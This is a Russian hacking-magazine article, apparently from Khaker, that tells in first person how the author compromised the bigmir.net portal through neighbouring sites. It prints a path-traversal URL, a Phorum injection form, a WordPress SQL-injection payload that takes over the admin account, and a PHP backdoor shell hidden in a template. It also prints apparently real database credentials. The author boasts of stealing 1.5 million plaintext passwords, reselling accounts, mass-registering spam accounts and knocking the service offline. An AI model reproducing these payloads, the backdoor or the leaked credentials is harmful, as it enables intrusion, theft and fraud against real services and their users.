Здравствуй, мой юный друг! Сегодня на нашем операционном столе лежит и подрагивает всеми конечностями очень известный пациент — украинский портал bigmir.net (аналог нашего Рамблера на Украине). Ты спросишь, что же в нем такого особенного? Отвечу. Бигмир — локализованный партнер icq.com, через который проходит привязка номерков аськи к мылу, регистрация новых уинов и другие вкусности, связанные с аськой. Стало интереснее? Тогда читай дальше :).

 

Нет ничего невозможного!

Помнишь майский номер ][, где твой покорный слуга успешно поимел израильский ICQ WAP-шлюз tjat.com? Это было лишь начало :). Сразу после продажи красивых номерков с этого сервиса я принялся изучать локализованных партнеров Icq.Com в различных странах: nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com, prosieben.de, atlas.cz и bigmir.net. Для этого я скачал крякнутый сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, поскольку это незаконно, но ты можешь поискать ее сам на различных форумах, посвященных хаку) и запустил его на своем компе с указанными выше доменами для их проверки. Спустя час прога
выдала мне первые результаты :). Жертва была найдена — украинский портал bigmir.net с PR=8 по Гуглу (в России сайтов с таким пиаром всего три).

Сама ядовитая ссылка выглядела так:

http://www.bigmir.net/?u=../../../../../../../../../../../../../../../etc/passwd%00

Очень похоже на локальный инклуд с null-байтом. Но, как позже выяснилось, это было далеко не так. Этот баг позволял лишь просматривать файлы в системе, а до выполнения php-кода дело не дошло. Код в исходнике главной страницы Бигмира выглядит так:

$u = @$_GET['u'];
...
@readfile($staticDir .'rating'.$t.$u.'.html');

Просмотрев некоторые системные файлы (например, www.bigmir.net/?u=../../../../../../../../../../usr/local/etc/apache22/extra/httpd-vhosts.conf%00), я решил пока отложить эту уязвимость и идти дальше.

 

Хорошие соседи

Как видишь, даже в таком серьезном портале уже на главной странице обнаружился очень серьезный баг. Но с него ничего хорошего поднять было нельзя. Поэтому следующим моим шагом стало изучение сайтов, расположенных на том же сервере, что и bigmir.net. Я зашел на всем известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый Бигмир и стал смотреть результаты.

На самом IP-адресе Бигмира других сайтов не было, а вот на его же NS я увидел пару сайтиков: http://korrespondent.net и http://ricardo.com.ua, ссылки на которые были на главной странице нашего портала. Немного поизучав новых пациентов, я наткнулся на их форумы (http://forum.korrespondent.net и http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты борды. И там, и там стоял Phorum. Но, чтобы начать какие-либо хакерские действия, необходимо было узнать версию форума. Пройдя по ссылке http://forum.korrespondent.net/admin.php, я обнаружил надпись: «Version 5.1.16a». Для нее, конечно, были известные баги, но паблик-сплоитов под них не существует, а ковыряться с blind SQL-injection не
позволяла лень. Смотри сам, небольшой PoC-сплоит (работающий, конечно, после логина на форум и подстановки существующих id форума и темы):

<html> 
<body>
<form method=POST action="http://forum.korrespondent.net/pm.php">
<input type="hidden" name="recipients[123']" value="testers">
<input type="hidden" name="action" value="post" />
<input type="text" id="subject" name="subject" size="50" value="" />
<textarea id="message" name="message" rows="20" cols="50"></textarea>
<input type="hidden" name="forum_id" value="1" />
<input type="submit" name"test" value="test">
<input name="preview" value=" Preview " />
</body>
</html>

Далее я совершил те же самые действия и со вторым форумом, но админки по этому адресу не было. В итоге, ковыряясь с этими форумами, я нашел только одну интересную особенность: если пройти по ссылке http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать следующую забавную картину:

Warning: main(./docs) [function.main]: failed to open stream: Invalid argument in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Fatal error: main() [function.require]: Failed opening required ‘./docs’ (include_path=’.:/usr/local/share/pear’) in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47

Но, опять же это все была ерунда, нужен был более серьезный баг.

 

Истина где-то рядом

Выбрав в качестве своей основной жертвы http://korrespondent.net, я продолжил хождение по этому ресурсу и через несколько минут наткнулся на http://blog.korrespondent.net, на главной странице которого в самом низу было написано: «Блог Korrespondent.net работает на WordPress». Увидев эту надпись, я обрадовался, поскольку WordPress — крайне дырявый движок, следовало только узнать его версию, для чего я прошел по ссылке http://blog.korrespondent.net/readme.html. На открывшейся паге гордо красовалась вторая обрадовавшая меня за последние несколько минут надпись: «WordPress 1.5» :). Я ринулся на http://milw0rm.com, вбил там в поиск название движка и увидел кучу очень неплохих сплоитов, из которых
выбрал WordPress <= 1.5.1.3 Remote Code Execution eXploit (metasploit), так как он был последним для ветки 1.5, запустил его и… ничего не получил :(. Огорчению моему не было предела. Значит, на исследуемом сайте стоял WordPress 1.5.2, для которого не было паблик-сплоитов. Эта неудача вынудила меня забить на несколько дней на взлом Бигмира.

 

WordPress под ударом

Естественно, этим история не заканчивается :). Погуляв пару дней на свежем воздухе, я подумал, а почему бы самому не поискать баги в движке блога, чем немедленно и занялся. Зашел на официальный сайт движка http://wordpress.org, далее — в архив раздела Download и скачал оттуда последнюю версию из первой ветки — 1.5.2. Установил блог на локалхосте и принялся за раскопки :). На поиск бага ушло несколько часов и пара литров пива, я копал каждый файл, мучал параметры, листал исходники… И в итоге мои старания были вознаграждены! Банальная скул-инъекция присутствовала в файле ./wp-admin/user-edit.php в 69-й строке:

$result = $wpdb->query("UPDATE $wpdb->users SET user_login = ‘$new_user_login’, user_firstname = ‘$new_firstname’, $updatepassword user_lastname=’$new_lastname’, user_nickname=’$new_nickname’, user_icq=’$new_icq’, user_email=’$new_email’, user_url=’$new_url’, user_aim=’$new_aim’, user_msn=’$new_msn’, user_yim=’$new_yim’, user_idmode=’$new_idmode’, user_description = ‘$new_description’, user_nicename = ‘$new_nicename’ WHERE ID = $user_id");

Итак (трубят фанфары)… У нас на операционном столе — новый приватный баг WordPress, найденный твоим покорным слугой :). Для его использования необходима регистрация на уязвимом блоге. Вообще он находится в файле wp-register.php, но на Korrespondent.net была сделана общая регистрация для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайте, я прошел по ссылке http://korrespondent.net/wp-admin/user-edit.php и сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел следующий участок html-кода:

<form 
name="edituser" 
id="edituser" 
action="user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Заменил его:

<form 
name="edituser" 
id="edituser" 
action="http://blog.korrespondent.net/wp-admin/user-edit.php" 
method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">

Затем нашел hidden-поле с user_id и заменил его:

<textarea 
name="user_id" 
rows="5" 
id="new_description" 
style="width: 99%; ">
</textarea>

После всех перечисленных действий я сохранил заряженную страницу и открыл ее в браузере.

Теперь необходимо сделать небольшое пояснение, касающееся найденной уязвимости: из SQL-запроса видно, что при update пользовательского профиля вообще не проверяется параметр $user_id, то есть таким образом мы можем обновить профиль любого юзера, но прежде всего нам необходим админ. Как просто и быстро поставить админу свой пароль? А вот как.

В нашей ядовитой страничке вписываем в поля с логином и паролем любые логин и пароль, например tester/tester, а в бывшее hidden-поле вбиваем: «-99 or user_level=10/*» (естественно, без кавычек). В итоге, наш скул-запрос получается следующим:

UPDATE wp_users SET user_login = ‘tester’, user_firstname = »,user_pass=MD5(‘tester’), user_lastname=», user_nickname=», user_icq=», user_email=», user_url=», user_aim=», user_msn=», user_yim=», user_idmode=», user_description = », user_nicename = » WHERE ID =-99 or user_level=10/*

Так как юзера с ID=-99 однозначно не существует в базе данных, обновятся данные лишь юзера с user_level=10, то есть данные админа :).

 

Ленивые админы

Став админом blog.korrespondent.net, я задумался над получением шелла на сервере. Скажу по секрету: у меня есть еще один обнаруженный мной приватный баг, позволяющий легко и безболезненно получать шелл из админок WordPress версий 1.5-2.1. Но тебе хватит и предыдущего привата :). Эта уязвимость все равно мне не понадобилась, поскольку, зайдя в «Редактор шаблонов», я увидел, что все php-файлы в template-директории открыты на запись. Теперь необходимо было тайно встроить свой шелл в один из уязвимых файлов. Я быстро набросал следующий php-код:

<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

И вписал его в template шапки блога. Таким образом, по адресу http://blog.korrespondent.net можно было видеть обычный блог, а на http://blog.korrespondent.net/?fuckkk=[команда] — красивый и удобный шелл :).

А дальше я начал изучение сервера bigmir.net. В первую очередь меня интересовала база данных Бигмира. Отправившись на поиске параметров подключения к базе, я нашел файл /storage/web/htdocs/bigmir/bigmir2/config.php, в котором находились следующие строки:

// production
define('BM_DB_HOST', 'cbd2.sm');
define('BM_DB_USER', 'bigmir');
define('BM_DB_PASS', 'NacDagegWukecBi');

Далее я закачал на сервер скрипт управления БД от RusH Security Team (http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на официальном сайте скрипт недоступен) и поставил его по адресу http://files.korrespondent.net/img/forall/a/4/header.php. Залогинившись с полученными данными, я минуту наблюдал долгожданную картину — все таблицы Бигмира были передо мной :). Немного походив по ним, я нашел таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все пароли к аськам в открытом виде! Ну не чудо ли?

 

Что дальше?

Продав все пяти-, шести- и семизначные номера из базы Бигмира с помощью друзей, я задумался, а что же делать дальше? Перспективы открывались огромные: во-первых, в моих руках был клиентский API партнеров icq.com (наблюдать его ты также можешь на скриншоте в журнале); во-вторых, мой шелл на протяжении двух недель никто не палил; а в-третьих, я нашел таблицу с админами Бигмира и у меня был доступ к http://admin.bigmir.net (сейчас доступ к админке возможен лишь с определенных IP-адресов).

Решив пойти по пути наименьшего сопротивления, я стал изучать регу номеров. В результате в файле /storage/web/htdocs/bigmir/include/icq_ips_class.php я увидел следующую функцию:

function register($password, $email, $nickName, $firstName = false, $lastName = false, $birthDay = false, $sex = false, $country = false, $city = false, $state = false)
{

}

И стал ваять автореггер ICQ-уинов. Создал php-гейт на Бигмире, где в цикле запустил указанную выше функцию, затем на том же php написал клиент к этому гейту и с помощью программы php2exe, которую ты можешь часто видеть на дисках, прилагаемых к журналу, перевел его в экзешник. Процитирую одного из первых покупателей этой программы (kaleostra): «Купил — доволен; итак, тесты: 10 мин, 4100 номеров с семи копий, 410 в минуту с семи копий, 59 номеров в минуту с копии! Ресурсы не жрет вообще».

Как видишь, результаты ошеломляющие :). Но этого было, как обычно, мало. За несколько часов товарищ Cash написал GUI-интерфейс на Delphi с поддержкой потоков, и получилась довольно симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну ночь 4 человека зарегали более полумиллиона уинов, в результате Бигмир повис надолго. Затем была отключена регистрация номеров, и на сервере украинского портала стали проводиться какие-то технические работы. Через день все мои бэкдор-шеллы удалили, был установлен WordPress последней версии и изменены пароли всех админов Бигмира. Но меня это ничуть не расстроило :). Покопавшись в слитом движке Бигмира, я нашел скул-инъекцию, с помощью которой
снова получил доступ к базе данных :). Правда, через несколько часов его перекрыли.

В итоге, было продано очень много элитнейших уинов, зарегистрировано очень много девяток для спама (у меня самого до сих пор лежит около 250k, если будут нужны — обращайся), и, что самое главное, был подорван авторитет не только локализованного партнера icq.com http://bigmir.net, но и всего AOL’а.

На этом следует остановиться. Как видишь, даже очень крупные проекты не могут устоять перед хакерами. Стоит задуматься, какой из локализованных партнеров будет следующей жертвой безжалостного ICQ хакерского андеграунда? 😉

 

DANGER

Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. За использование материалов статьи в противозаконных целях ни редакция, ни автор ответственности не несут.


Полную версию статьи
читай в августовском номере
Хакера!

Оставить мнение

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…